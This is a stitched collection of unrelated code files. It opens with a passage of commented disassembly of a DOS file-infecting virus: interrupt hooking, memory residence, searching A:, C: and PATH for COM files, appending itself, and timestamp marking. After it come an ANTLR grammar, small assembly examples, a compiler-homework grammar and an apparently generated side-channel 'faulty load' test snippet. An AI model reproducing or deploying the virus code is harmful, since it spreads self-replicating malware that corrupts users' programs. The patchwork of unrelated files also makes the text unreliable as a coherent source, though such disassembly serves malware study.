0183 B80103 MOV AX,0301 ; write 1 sector
0186 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h
; exit to old INT 13h
018B 5F POP DI
018C 07 POP ES
018D 1F POP DS
018E 5A POP DX
018F 59 POP CX
0190 5B POP BX
0191 58 POP AX
0192 9D POPF
0193 2EFF2E0301 JMP DWORD PTR CS:[0103] ; INT 13h
0198 90 NOP
;---------------
; working area
; old INT 21h vector
0199 9E10
019B 1801
019D 26 0D ; segment of environment block
019F 80 00 ; address of command line
01A1 2B 0D ; CS
01A3 5C 00 ; first FCB in PSP
01A5 2B 0D ; CS
01A7 6C 00 ; second FCB in PSP
01A9 2B 0D ; CS
01AB CF 01 ; runtime SP
01AD 2B 0D ; old SS, CS
01AF 02 19 ; old SP
;------------
; local stack
01B1 9D01
01B3 857F
01B5 FF58
01B7 2B0D
01B9 2F01
01BB E37F
01BD D300
01BF 0001
02C1 2C00
01C3 260D
02C5 2B0D
01C7 430C
01C9 2903
01CB 2B0D
01CD 02F2
; end of local stack
;-------------------
01CF 90 NOP
01D0 90 NOP
;=====================
; INT 21h handler
01D1 9C PUSHF
01D2 56 PUSH SI
01D3 50 PUSH AX
01D4 53 PUSH BX
01D5 51 PUSH CX
01D6 52 PUSH DX
01D7 1E PUSH DS
01D8 06 PUSH ES
01D9 57 PUSH DI
01DA 80FC4B CMP AH,4B ; load and execute
01DD 7555 JNZ 0234 ; exit
01DF 1E PUSH DS
01E0 52 PUSH DX
01E1 0E PUSH CS
01E2 1F POP DS
01E3 C70698036906 MOV WORD PTR [0398],0669 ; virus length
01E9 E8E203 CALL 05CE ; intercept INT 24h and prepare local DTA
01EC 5F POP DI
01ED 07 POP ES
01EE 06 PUSH ES
01EF 57 PUSH DI
01F0 B80000 MOV AX,0000
01F3 B98000 MOV CX,0080
01F6 F2AE REPNZ SCASB
01F8 83F900 CMP CX,+00
01FB 7432 JZ 022F
01FD 4F DEC DI
01FE B05C MOV AL,5C ; '\'
0200 4F DEC DI
0201 AE SCASB
0202 75F9 JNZ 01FD
0204 57 PUSH DI
0205 59 POP CX
0206 5E POP SI
0207 1F POP DS
0208 0E PUSH CS
0209 07 POP ES
020A BF6906 MOV DI,0669 ; buffer (area behind virus code)
020D AC LODSB
020E AA STOSB
020F 3BF1 CMP SI,CX
0211 75FA JNZ 020D
0213 0E PUSH CS
0214 1F POP DS
0215 893EA203 MOV [03A2],DI
0219 BEAC03 MOV SI,03AC
021C B90600 MOV CX,0006
021F AC LODSB
0220 AA STOSB
0221 E2FC LOOP 021F
0223 BA6906 MOV DX,0669
0226 E87302 CALL 049C ; find and infect one COM file
0229 E8D703 CALL 0603 ; restore DTA and INT 24h
022C EB06 JMP 0234 ; exit
022E 90 NOP
022F 58 POP AX
0230 58 POP AX
0231 E8CF03 CALL 0603 ; restore DTA and INT 24h
; exit to old INT 21h
0234 90 NOP
0235 5F POP DI
0236 07 POP ES
0237 1F POP DS
0238 5A POP DX
0239 59 POP CX
023A 5B POP BX
023B 58 POP AX
023C 5E POP SI
023D 9D POPF
023E 2EFF2E9901 JMP DWORD PTR CS:[0199]
0243 90 NOP
;------------------------
; prepare Load & Execute
0244 8CC0 MOV AX,ES
0246 8BE8 MOV BP,AX
0248 8BD7 MOV DX,DI ; offset of victim name
024A 8CC8 MOV AX,CS
024C 8EC0 MOV ES,AX ; segment of victim name
024E BB9D01 MOV BX,019D ; run parameters
0251 06 PUSH ES
0252 53 PUSH BX
0253 8CC8 MOV AX,CS ; block segment
0255 8EC0 MOV ES,AX
0257 BBD300 MOV BX,00D3 ; block size in paragraphs
025A B44A MOV AH,4A ; resize memory block
025C CD21 INT 21
; free environment block
025E BF2C00 MOV DI,002C ; address of environment block in PSP
0261 8E05 MOV ES,[DI] ; segment of environment
0263 B80049 MOV AX,4900 ; free memory block
0266 CD21 INT 21
0268 5B POP BX
0269 07 POP ES
026A 58 POP AX
026B 8C0EAD01 MOV [01AD],CS
026F 8E16AD01 MOV SS,[01AD]
0273 8B26AB01 MOV SP,[01AB]
0277 8EDD MOV DS,BP
0279 50 PUSH AX
027A C3 RET
;===========================
; virus entry point
; look for resident part of virus in RAM
; on system with 3 floppy drives this test may hang the computer
; (unspecified I/O buffer BX)
027B B203 MOV DL,03 ; third floppy drive
027D B600 MOV DH,00 ; head 0
027F B100 MOV CL,00 ; first sector 0
0281 B500 MOV CH,00 ; track
0283 B80102 MOV AX,0201 ; read 1 sector
0286 BF3412 MOV DI,1234 ; is already in memory?
0289 CD13 INT 13
028B 81FF2143 CMP DI,4321 ; expected answer
028F 7503 JNZ 0294 ; memory is clear
0291 E92601 JMP 03BA ; exit
; intercept INT 21h and INT 13h
0294 B82135 MOV AX,3521 ; get INT 21h
0297 CD21 INT 21
0299 891E9901 MOV [0199],BX
029D 8C069B01 MOV [019B],ES
02A1 BAD101 MOV DX,01D1
02A4 B82125 MOV AX,2521 ; set INT 21h
02A7 CD21 INT 21
02A9 B435 MOV AH,35 ; get INT 13h
02AB B013 MOV AL,13
02AD CD21 INT 21
02AF 891E0301 MOV [0103],BX
02B3 8C060501 MOV [0105],ES
02B7 B425 MOV AH,25 ; set INT 13h
02B9 B013 MOV AL,13
02BB BA0701 MOV DX,0107
02BE CD21 INT 21
; prepare Load & Execute
02C0 BF2C00 MOV DI,002C ; address of environment in PSP
02C3 8B05 MOV AX,[DI]
02C5 A39D01 MOV [019D],AX
02C8 8C0EA101 MOV [01A1],CS
02CC C7069F018000 MOV WORD PTR [019F],0080 ; command line
02D2 8C0EA501 MOV [01A5],CS
02D6 C706A3015C00 MOV WORD PTR [01A3],005C ; first FCB in PSP
02DC 8C0EA901 MOV [01A9],CS
02E0 C706A7016C00 MOV WORD PTR [01A7],006C ; second FCB
; look for program name (DOS 3.x or higher)
02E6 FC CLD
02E7 BF2C00 MOV DI,002C ; segment of environment block
02EA 8E05 MOV ES,[DI]
02EC BF0000 MOV DI,0000 ; start of environment
02EF B80000 MOV AX,0000 ; end of block marker
02F2 B90080 MOV CX,8000 ; maxim block size
02F5 2BCF SUB CX,DI ; end of block
02F7 7230 JB 0329 ; not found
02F9 F2AE REPNZ SCASB
02FB B80000 MOV AX,0000
02FE AE SCASB
02FF 75EE JNZ 02EF
0301 B80100 MOV AX,0001
0304 AE SCASB
0305 7522 JNZ 0329
0307 B80000 MOV AX,0000
030A AE SCASB
030B 751C JNZ 0329
030D E834FF CALL 0244 ; prepare Load & Execute
0310 B8004B MOV AX,4B00 ; load and execute
0313 E86F00 CALL 0385 ; INT 21h
; clear environment block
0316 0E PUSH CS
0317 1F POP DS
0318 BF2C00 MOV DI,002C ; environment
031B B80000 MOV AX,0000 ; end of block marker
031E 8905 MOV [DI],AX ; start of block
0320 BAD300 MOV DX,00D3 ; size of virus block in paragraphs
0323 B80031 MOV AX,3100 ; terminate and state resident
0326 E85C00 CALL 0385 ; far call to INT 21h
; victim name not found (DOS < 3.0)
; execute command >C:\COMMAND.COM /P
0329 E818FF CALL 0244 ; prepare Load & Execute
032C 0E PUSH CS
032D 1F POP DS
032E BA7603 MOV DX,0376 ; 'c:\command.com',0
0331 57 PUSH DI
0332 BF8000 MOV DI,0080 ; command line
0335 C705022F MOV WORD PTR [DI],2F02 ; 2, '/'
0339 C74502500D MOV WORD PTR [DI+02],0D50 ; 'P', CR
033E 5F POP DI
033F B8004B MOV AX,4B00 ; load and execute
0342 E84000 CALL 0385 ; far call to INT 21h
0345 B86300 MOV AX,0063 ; 'c'
0348 57 PUSH DI
0349 BF7603 MOV DI,0376 ; 'c:\command.com',0
034C 8805 MOV [DI],AL
034E 5F POP DI
034F B8004B MOV AX,4B00 ; load and execute
0352 E83000 CALL 0385 ; far call to INT 21h
; restore INT 13h
0355 B81325 MOV AX,2513 ; set INT 13h
0358 8B160301 MOV DX,[0103]
035C FF360501 PUSH [0105]
0360 1F POP DS
0361 CD21 INT 21
; restore INT 13h
0363 B82125 MOV AX,2521
0366 8B169901 MOV DX,[0199]
036A FF369B01 PUSH [019B]
036E 1F POP DS
036F CD21 INT 21
0371 0E PUSH CS
0372 1F POP DS
0373 EB45 JMP 03BA
0375 90 NOP
0376 63 3A 5C 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 ; c:\COMMAND.COM
;---------------------
; FAR CALL to INT 21h
0385 2E8F069603 POP CS:[0396] ; offset of caller
038A 9C PUSHF ; prepare jump to INT 21h
038B 0E PUSH CS ; segment of return address
038C 2EFF369603 PUSH CS:[0396] ; offset of return addres
0391 2EFF2E9901 JMP DWORD PTR CS:[0199] ; CALL FAR INT 13h
;--------------
; working area
0396 96 05 ; place for offset of return address
0398 60 D2 ; length of victim
039A 80 00 ; old DTA offset
039C C2 0A ; old DTA segment
039E 00 00 ; counter ?
03A0 00 00 ; DS
03A2 FA CC ; working, end of path
03A4 50 41 54 48 3D ; PATH=
03A9 61 3A 5C 2A 2E 63 6F 6D 00 ; a:\*.com, 0
; old INT 24h
03B2 49 01 ; offset
03B4 48 09 ; segment
;==================
; INT 24h handler
03B6 90 NOP
03B7 B003 MOV AL,03
03B9 CF IRET
;---------------------------------
; virus alredy resident, continue
03BA 06 PUSH ES
03BB 1E PUSH DS
03BC 0E PUSH CS
03BD 1F POP DS
03BE 8F069901 POP [0199] ; old INT 21h offset
03C2 8F069B01 POP [019B] ; old INT 21h segment
03C6 E80502 CALL 05CE ; prepare INT 24h and DTA
03C9 BEA903 MOV SI,03A9 ; address of 'a:\*.com, 0'
03CC 8B3E9803 MOV DI,[0398] ; buffer outside viruse code
03D0 B90900 MOV CX,0009 ; number of bytes
03D3 AC LODSB
03D4 AA STOSB
03D5 E2FC LOOP 03D3
03D7 8B3E9803 MOV DI,[0398] ; buffer
03DB 83C703 ADD DI,+03
03DE 893EA203 MOV [03A2],DI
03E2 8B3E9803 MOV DI,[0398]
03E6 B86100 MOV AX,0061 ; drive 'a'
03E9 8805 MOV [DI],AL ; patch 'a:\*.com', 0
03EB 8BD7 MOV DX,DI ; buffer
03ED E8AC00 CALL 049C ; find and infect one COM program
03F0 BEA903 MOV SI,03A9
03F3 8B3E9803 MOV DI,[0398]
03F7 B90900 MOV CX,0009
03FA AC LODSB
03FB AA STOSB
03FC E2FC LOOP 03FA
03FE 8B3E9803 MOV DI,[0398]
0402 B86300 MOV AX,0063 ; drive 'c'
0405 8805 MOV [DI],AL ; patch 'a:\*.com', 0
0407 8BD7 MOV DX,DI
0409 E89000 CALL 049C ; find and infect one COM program
040C 7203 JB 0411
040E E91302 JMP 0624
0411 BF2C00 MOV DI,002C ; environment
0414 8E05 MOV ES,[DI]
0416 BF0000 MOV DI,0000
0419 BEA403 MOV SI,03A4 ; 'PATH='
041C 46 INC SI
041D B85000 MOV AX,0050 ; 'P'
0420 B90080 MOV CX,8000 ; max block size
0423 2BCF SUB CX,DI
0425 7303 JAE 042A
0427 E9FA01 JMP 0624 ; not found
042A F2AE REPNZ SCASB
042C B90400 MOV CX,0004
042F AC LODSB
0430 AE SCASB
0431 75E6 JNZ 0419
0433 E2FA LOOP 042F
0435 8B369803 MOV SI,[0398]
0439 56 PUSH SI
043A 57 PUSH DI
043B 5E POP SI
043C 5F POP DI
043D 06 PUSH ES
043E 0E PUSH CS
043F 07 POP ES
0440 1F POP DS
0441 AC LODSB
0442 AA STOSB
0443 3C3B CMP AL,3B ; ';' end of path marker
0445 7409 JZ 0450
0447 3C00 CMP AL,00 ; end of block marker
0449 7402 JZ 044D
044B EBF4 JMP 0441 ; end of block
044D BE0000 MOV SI,0000
0450 1E PUSH DS
0451 0E PUSH CS
0452 1F POP DS
0453 8F06A003 POP [03A0]
0457 89369E03 MOV [039E],SI
045B 4F DEC DI
045C 4F DEC DI
; check for last character '\', add if necessary
045D B05C MOV AL,5C ; '\'
045F 3805 CMP [DI],AL
0461 7403 JZ 0466
0463 47 INC DI
0464 8805 MOV [DI],AL
0466 47 INC DI
; form new path ....\*.com, 0
0467 BEAC03 MOV SI,03AC ; *.com
046A 893EA203 MOV [03A2],DI
046E B90600 MOV CX,0006 ; length
0471 AC LODSB
0472 AA STOSB
0473 E2FC LOOP 0471
0475 A19803 MOV AX,[0398] ; buffer
0478 8BD0 MOV DX,AX
047A E81F00 CALL 049C ; find and infect COM file
047D 7203 JB 0482
047F E9A201 JMP 0624
0482 833E9E0300 CMP WORD PTR [039E],+00
0487 7503 JNZ 048C
0489 E99801 JMP 0624
048C A19803 MOV AX,[0398]
048F 8BF8 MOV DI,AX
0491 8B369E03 MOV SI,[039E]
0495 FF36A003 PUSH [03A0]
0499 1F POP DS
049A EBA5 JMP 0441
;---------------------------------
; find and infect one COM program
049C 0E PUSH CS
049D 07 POP ES
049E B8004E MOV AX,4E00 ; find first
04A1 B90300 MOV CX,0003 ; hiden, read only
04A4 E8DEFE CALL 0385 ; far call to INT 21h
04A7 730C JAE 04B5
04A9 C3 RET
04AA B44F MOV AH,4F ; find next
04AC B90300 MOV CX,0003 ; hiden, read only
04AF E8D3FE CALL 0385 ; far call to INT 21h
04B2 7301 JAE 04B5
04B4 C3 RET
; start infection
04B5 8B3E9803 MOV DI,[0398] ; buffer
04B9 81C78000 ADD DI,0080 ; set DI to DTA
04BD 83C71A ADD DI,+1A ; file length
04C0 8B05 MOV AX,[DI]
04C2 2D0010 SUB AX,1000 ; minimum victim size
04C5 7215 JB 04DC ; file too small, find next
04C7 8B05 MOV AX,[DI] ; file size
04C9 2DFFEF SUB AX,EFFF ; maximum file size
04CC 730E JAE 04DC ; file too big, find next
04CE 83EF04 SUB DI,+04 ; file time stamp
04D1 8B05 MOV AX,[DI]
04D3 241F AND AL,1F ; extract seconds
04D5 3C18 CMP AL,18 ; 48 seconds
04D7 7403 JZ 04DC ; infected, find next
04D9 EB03 JMP 04DE ; continue
04DB 90 NOP
04DC EBCC JMP 04AA ; find next
; copy file name to buffer
04DE 83C708 ADD DI,+08
04E1 8BF7 MOV SI,DI
04E3 8B3EA203 MOV DI,[03A2]
04E7 AC LODSB
04E8 AA STOSB
04E9 3C00 CMP AL,00
04EB 75FA JNZ 04E7
; find new file length
04ED 8B3E9803 MOV DI,[0398]
04F1 81C78000 ADD DI,0080 ; set DI to local DTA
04F5 83C71A ADD DI,+1A ; file length
04F8 8B05 MOV AX,[DI]
04FA 056906 ADD AX,0669 ; new file length
04FD FF369803 PUSH [0398]
0501 50 PUSH AX
; clear flag Read Only
0502 8B169803 MOV DX,[0398]
0506 B80043 MOV AX,4300 ; get attributes
0509 E879FE CALL 0385 ; far call to INT 21h
050C 890EC805 MOV [05C8],CX ; store old attributes
0510 81E1FEFF AND CX,FFFE ; clear read only flag
0514 B80143 MOV AX,4301 ; set attributes
0517 E86BFE CALL 0385 ; far call to INT 21h
051A 7233 JB 054F ; error, exit
; open file for read/write
051C B8023D MOV AX,3D02 ; open file for read/write
051F E863FE CALL 0385 ; far call to INT 21h
0522 722B JB 054F ; error, exit
; set 48 second in file time stamp
0524 8BD8 MOV BX,AX ; hundle
0526 B80057 MOV AX,5700 ; get time stamp
0529 E859FE CALL 0385 ; far call to INT 21h
052C 81E1E0FF AND CX,FFE0 ; clear seconds
0530 83C118 ADD CX,+18 ; set to 48
0533 890ECA05 MOV [05CA],CX ; store for later
0537 8916CC05 MOV [05CC],DX
; copy first 669h bytes of file to the end
; read beginnig of file (669h bytes)
053B B96906 MOV CX,0669 ; virus length
053E 81E90001 SUB CX,0100 ; size of PSP
0542 8B169803 MOV DX,[0398]
0546 81C20001 ADD DX,0100 ; buffer
054A B43F MOV AH,3F ; read file
054C E836FE CALL 0385 ; far call to INT 21h
054F 7271 JB 05C2 ; error, exit
; move file ptr back to BOF
0551 8BFA MOV DI,DX
0553 BA0000 MOV DX,0000
0556 B90000 MOV CX,0000
0559 B80242 MOV AX,4202 ; move file ptr to EOF
055C E826FE CALL 0385 ; far call to INT 21h
055F 7261 JB 05C2 ; error, exit
; vrite virus code to file
0561 8BD7 MOV DX,DI
0563 B96906 MOV CX,0669 ; virus length
0566 81E90001 SUB CX,0100
056A B440 MOV AH,40 ; write file
056C E816FE CALL 0385 ; far call to INT 21h
056F 7251 JB 05C2 ; error, exit
; move file ptr to EOF
0571 BA0000 MOV DX,0000
0574 B90000 MOV CX,0000
0577 B80042 MOV AX,4200 ; move file ptr to BOF
057A E808FE CALL 0385 ; far call to INT 21h
057D 7243 JB 05C2
; write to file its beginning block
057F 8F069803 POP [0398]
0583 FF369803 PUSH [0398]
0587 B96906 MOV CX,0669 ; end of virus code
058A 81E90001 SUB CX,0100 ; size of PSP
058E BA0001 MOV DX,0100 ; from buffer
0591 B440 MOV AH,40 ; write file
0593 E8EFFD CALL 0385 ; far call to INT 21h
0596 722A JB 05C2
; error, exit
; restore file time stamp
0598 8B0ECA05 MOV CX,[05CA] ; restore time stamp
059C 8B16CC05 MOV DX,[05CC] ; restore date stamp
05A0 B80157 MOV AX,5701 ; set file time stamp
05A3 E8DFFD CALL 0385 ; far call to INT 21h
; close file
05A6 B43E MOV AH,3E ; close file
05A8 E8DAFD CALL 0385 ; far call to INT 21h
; restore file attributes
05AB 8F069803 POP [0398]
05AF 8F069803 POP [0398]
05B3 8B169803 MOV DX,[0398]
05B7 8B0EC805 MOV CX,[05C8] ; retore file attributes
05BB B80143 MOV AX,4301 ; set file attributes
05BE E8C4FD CALL 0385 ; far call to INT 21h
05C1 C3 RET
; exit after any error
05C2 58 POP AX
05C3 8F069803 POP [0398]
05C7 C3 RET
05C8 20 00 ; file attributes
05CA D8A8 ; file time stamp
05CC D516 ; file date stamp
;-----------------------------------------
; intercept INT 24h and prepare local DTA
; get INT 24h
05CE B82435 MOV AX,3524 ; get INT 24h
05D1 E8B1FD CALL 0385 ; far call to INT 21h
05D4 891EB203 MOV [03B2],BX
05D8 8C06B403 MOV [03B4],ES
; set new INT 24h
05DC B425 MOV AH,25 ; set
05DE B024 MOV AL,24 ; int 24h
05E0 BAB603 MOV DX,03B6 ; offset of new handler
05E3 E89FFD CALL 0385 ; far call to INT 21h
; get current DTA
05E6 B42F MOV AH,2F ; get DTA
05E8 E89AFD CALL 0385 ; far call to INT 21h
05EB 8C069C03 MOV [039C],ES
05EF 891E9A03 MOV [039A],BX
; set new local DTA
05F3 B41A MOV AH,1A ; set DTA
05F5 0E PUSH CS
05F6 1F POP DS
05F7 8B169803 MOV DX,[0398]
05FB 81C28000 ADD DX,0080
05FF E883FD CALL 0385 ; far call to INT 21h
0602 C3 RET
;-------------------------
; restore INT 24h and DTA
; prepare registers
0603 0E PUSH CS
0604 1F POP DS
0605 0E PUSH CS
0606 07 POP ES
; restore INT 24h
0607 B82425 MOV AX,2524 ; set INT 24h
060A 8B16B203 MOV DX,[03B2]
060E 8E1EB403 MOV DS,[03B4]
0612 E870FD CALL 0385 ; far call to INT 21h
; retsore DTA
0615 8B169A03 MOV DX,[039A]
0619 FF369C03 PUSH [039C]
061D 1F POP DS
061E B41A MOV AH,1A
0620 E862FD CALL 0385 ; far call to INT 21h
0623 C3 RET
;---------------------
; exit to application
0624 E8DCFF CALL 0603 ; restore INT 24h and DTA
0627 0E PUSH CS
0628 1F POP DS
0629 BE3E06 MOV SI,063E ; start of oryginal code
062C 8B3E9803 MOV DI,[0398] ; length of victim
; copy victim code
0630 AC LODSB
0631 AA STOSB
0632 81FE6906 CMP SI,0669
0636 75F8 JNZ 0630
0638 8B3E9803 MOV DI,[0398] ; RET address
063C 57 PUSH DI
063D C3 RET
063E B96906 MOV CX,0669
0641 81E90001 SUB CX,0100
0645 8B369803 MOV SI,[0398]
0649 2BF1 SUB SI,CX
064B 0E PUSH CS
064C 1F POP DS
064D BF0001 MOV DI,0100
0650 AC LODSB
0651 AA STOSB
0652 E2FC LOOP 0650
0654 33C0 XOR AX,AX
0656 33DB XOR BX,BX
0658 33C9 XOR CX,CX
065A 33D2 XOR DX,DX
065C 33F6 XOR SI,SI
065E BF0001 MOV DI,0100
0661 57 PUSH DI
0662 33FF XOR DI,DI
0664 33ED XOR BP,BP
0666 C3 RET
0667 90 NOP
0668 90 NOP
; end resident part of virus
;-----------------------------
; victim code
|
src/main/antlr4/com/github/bohnman/squiggly/parser/antlr4/SquigglyExpression.g4 | jarpz/squiggly-java | 1 | 7480 | grammar SquigglyExpression;
// Parser Rules ---------------------------------------------------------------
parse
: expression_list EOF
;
expression_list
: expression (',' expression)*
;
expression
: negated_expression
| field_list (nested_expression|empty_nested_expression)
| dot_path (nested_expression|empty_nested_expression)
| dot_path
| field
| deep
;
field_list
: '(' field (('|'|',') field)* ')'
| field
;
negated_expression
: '-' field
| '-' dot_path
;
nested_expression
: LSQUIGGLY expression_list RSQUIGGLY
| LBRACE expression_list RBRACE
;
empty_nested_expression
: LSQUIGGLY RSQUIGGLY
| LBRACE RBRACE
;
deep
: WILDCARD_DEEP
;
dot_path
: field ('.' field)+
;
field
: exact_field
| regex_field
| wildcard_shallow_field
| wildcard_field
;
exact_field
: IDENTIFIER
;
regex_field
: '~' regex_pattern '~' regex_flag*
| '/' regex_pattern '/' regex_flag*
;
regex_pattern
: ('.' | '|' | ',' | LSQUIGGLY | RSQUIGGLY | LBRACE | RBRACE | '-' | REGEX_CHAR | IDENTIFIER | WILDCARD_SHALLOW)+
;
regex_flag
: 'i'
;
wildcard_field
: IDENTIFIER wildcard_char
| IDENTIFIER (wildcard_char IDENTIFIER)+ wildcard_char?
| wildcard_char IDENTIFIER
| wildcard_char (IDENTIFIER wildcard_char)+ IDENTIFIER?
;
wildcard_char
: WILDCARD_SHALLOW
| '?'
;
wildcard_shallow_field
: WILDCARD_SHALLOW
;
// Lexer Tokens ---------------------------------------------------------------
fragment DIGIT
: [0-9]
;
fragment LETTER
: [a-zA-Z]
;
fragment VALID_FIELD_CHAR
: (LETTER | DIGIT | '$' | '_')
;
LBRACE
: '['
;
RBRACE
: ']'
;
LSQUIGGLY
: '{'
;
RSQUIGGLY
: '}'
;
IDENTIFIER
: VALID_FIELD_CHAR (VALID_FIELD_CHAR)*
;
WILDCARD_SHALLOW
: '*'
;
WILDCARD_DEEP
: '**'
;
REGEX_CHAR
: ~('~' | '/')
;
|
examples/fib.asm | firemark/katp91 | 3 | 15027 | <gh_stars>1-10
main:
MOV R0 10; n value
CALL fib; result will be in R1
JMP lol
fib:
PUSH R0; save n
PUSH R2; save temp value
CMP R0 2
BRNC fib_continue; if R0 >= 2
MOV R1 R0; result
RJMP fib_finish
fib_continue:
SUB R0 1
CALL fib; R1 = F(R0-1)
MOV R2 R1
SUB R0 1
CALL fib; R1 = F(R0-2)
ADD R1 R2; F(R0-1) + F(R0-2)
fib_finish:
POP R2; restore temp
POP R0; restore n
RET
lol:
HLT
|
HW4 - 95542247/q3/Assignment4q3.g4 | SadraGoudarzdashti/IUSTCompiler | 0 | 5236 | <filename>HW4 - 95542247/q3/Assignment4q3.g4<gh_stars>0
grammar Assignment4q3;
@parser::members{
label_counter = 0
temp_counter = 0
def create_temp(self):
self.temp_counter += 1
return 'T' + str(self.temp_counter)
def remove_temp(self):
self.temp_counter -= 1
def get_temp(self):
return 'T' + str(self.temp_counter)
def create_label(self):
self.label_counter += 1
return 'L' + str(self.label_counter)
}
//parsing rules
program returns [value_attr = str(), type_attr = str()]:
m=mainClass{$value_attr = $m.value_attr} ( c=classDeclaration {$value_attr = $value_attr + $c.value_attr})* EOF
{
print($value_attr)
};
mainClass returns [value_attr = str(), type_attr = str()]:
'class' i1=identifier '{' 'public' 'static' 'void' 'main' '(' 'String' '[' ']' i2=identifier ')' '{' st=statement '}' '}'
{$value_attr = $st.value_attr
};
classDeclaration returns [value_attr = str(), type_attr = str()]:
'class' i1=identifier ( 'extends' i2=identifier )? '{' ( v1=varDeclaration )*
( m1=methodDeclaration {$value_attr = $value_attr + $m1.value_attr})* '}';
varDeclaration returns [value_attr = str(), type_attr = str()]:
t1=type i1=identifier ';';
methodDeclaration returns [value_attr = str(), type_attr = str()]:
'public' t1=type identifier '(' ( t2=type i1=identifier ( ',' type identifier )* )?
')' '{' ( varDeclaration )* ( st=statement {$value_attr = $value_attr + $st.value_attr})* 'return' e1=expression
{$value_attr = $value_attr + '\n' + 'push ' + $e1.value_attr + '\n' + 'RET' + '\n'} ';' '}';
type returns [value_attr = str(), type_attr = str()]:
'int' '[' ']'
| 'boolean'
| 'int'
| i1=identifier;
statement returns [value_attr = str(), type_attr = str()]:
'{' ( st=statement {$value_attr = $value_attr + $st.value_attr})* '}'
| 'if' '(' e1=expression ')' s1=statement 'else' s2=statement
{l_true = self.create_label()
l_after = self.create_label()
code = 'if ' + $e1.value_attr + 'goto ' + l_true + '\n'
code += $s2.value_attr + '\n'
code += 'goto ' + l_after + '\n'
code += l_true + $s1.value_attr + '\n'
code += l_after + ': '
$value_attr = code + '\n'
}
| 'while' '(' e1=expression ')' s1=statement
{l_while = self.create_label()
l_st = self.create_label()
l_after = self.create_label()
code = l_while + ' : if ' + $e1.value_attr + ' goto ' + l_st + '\n'
code += 'goto ' + l_after + '\n'
code += l_st + ':' + $s1.value_attr + '\n'
code += 'goto ' + l_while + '\n'
code += l_after + ': '
$value_attr = code + '\n'
}
| 'System.out.println' '(' e1=expression ')' ';'
{t = self.create_temp()
$value_attr = t + ' = ' + $e1.value_attr + '\n'
$value_attr += 'print(' + t + ')' + '\n'
}
| i1=identifier '=' e1=expression ';'
{t = self.create_temp()
$value_attr = t + ' = ' + $e1.value_attr + '\n'
$value_attr += $i1.value_attr + ' = ' + t + '\n'
}
| i1=identifier '[' e1=expression ']' '=' e2=expression ';'
{t1 = self.create_temp()
$value_attr = t1 + ' = ' + $e1.value_attr + '\n'
t2 = self.create_temp()
$value_attr += t2 + ' = ' + $e1.value_attr + '\n'
$value_attr += $i1.value_attr + '[' + t1 + ']' + ' = ' + t2 + '\n'
};
expression returns [value_attr = str(), type_attr = str(), amount_attr = str()]:
| e1=expression ('&&') e2=expression {$value_attr = $e1.value_attr +'&&' + $e2.value_attr + '\n'}
| e1=expression ('<') e2=expression {$value_attr = $e1.value_attr + '<' + $e2.value_attr + '\n'}
| e1=expression ('+') e2=expression {$value_attr = $e1.value_attr + '+' + $e2.value_attr + '\n'}
| e1=expression ('-') e2=expression {$value_attr = $e1.value_attr + '-' + $e2.value_attr + '\n'}
| e1=expression ('*') e2=expression {$value_attr = $e1.value_attr + '*' + $e2.value_attr + '\n'}
| e1=expression '[' e2=expression ']'
{$value_attr = $e1.value_attr + '[' + $e2.value_attr + ']' + '\n'
}
| e1=expression '.' 'length'
{$value_attr = 'len ' + '(' + $e1.value_attr + ')' + '\n'
}
| e1=expression '.' i1=identifier '(' ( e2=expression {$value_attr = 'push ' + $e2.value_attr + '\n'} ( ',' e3=expression
{$value_attr = $value_attr + 'push ' + $e3.value_attr + '\n'} )* )? ')'
{code = 'call ' + $e1.value_attr + $i1.value_attr + '\n'}
{code += 'pop params' + '\n'}
{$value_attr = $value_attr + code + '\n'}
| INTEGER_LITERAL
{$value_attr = $INTEGER_LITERAL.text
}
| 'true'
{$value_attr = 'true'
}
| 'false'
{$value_attr = 'false'
}
| i1=identifier
{$value_attr = $i1.value_attr
}
| 'this'
{$value_attr = 'this'
}
| 'new' 'int' '[' e1=expression ']'
{$value_attr = $e1.value_attr
}
| 'new' i1=identifier '(' ')'
{$value_attr = $i1.value_attr
}
| '!' e1=expression
{$value_attr = 'not ' + $e1.value_attr
}
| '(' e1=expression ')'
{$value_attr = $e1.value_attr
};
identifier returns [value_attr = str(), type_attr = str()]:
IDENTIFIER {$value_attr = $IDENTIFIER.text};
//lexical rules
IDENTIFIER:
[a-zA-Z][_0-9a-zA-Z]*;
INTEGER_LITERAL:
[0-9]+;
WS:
[ \t\r\n]+ -> skip;
LINE_COMMENT:
'//' ~[\r\n]* -> skip; |
oeis/010/A010811.asm | neoneye/loda-programs | 11 | 84736 | ; A010811: 23rd powers: a(n) = n^23.
; 0,1,8388608,94143178827,70368744177664,11920928955078125,789730223053602816,27368747340080916343,590295810358705651712,8862938119652501095929,100000000000000000000000,895430243255237372246531,6624737266949237011120128,41753905413413116367045797,229585692886981495482220544,1122274146401882171630859375,4951760157141521099596496896,19967568900859523802559065713,74347713614021927913318776832,257829627945307727248226067259,838860800000000000000000000000,2576580875108218291929075869661
pow $0,23
|
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_21829_1200.asm | ljhsiun2/medusa | 9 | 177738 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1cc30, %rsi
lea addresses_normal_ht+0x1a630, %rdi
nop
nop
nop
nop
inc %rbp
mov $101, %rcx
rep movsq
nop
nop
nop
cmp %r14, %r14
lea addresses_A_ht+0x15fb0, %rsi
lea addresses_WT_ht+0xe730, %rdi
nop
nop
nop
add %r9, %r9
mov $4, %rcx
rep movsb
nop
nop
xor $24289, %r14
lea addresses_normal_ht+0x6dec, %r9
nop
nop
nop
xor %r11, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%r9)
inc %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r9
push %rbp
push %rbx
push %rcx
push %rdx
// Store
lea addresses_PSE+0x4330, %r10
nop
nop
nop
nop
nop
cmp $26004, %rcx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm0
movups %xmm0, (%r10)
nop
nop
nop
nop
nop
inc %rcx
// Faulty Load
lea addresses_PSE+0x4330, %r9
nop
nop
nop
nop
sub %rdx, %rdx
movups (%r9), %xmm0
vpextrq $1, %xmm0, %r10
lea oracles, %r15
and $0xff, %r10
shlq $12, %r10
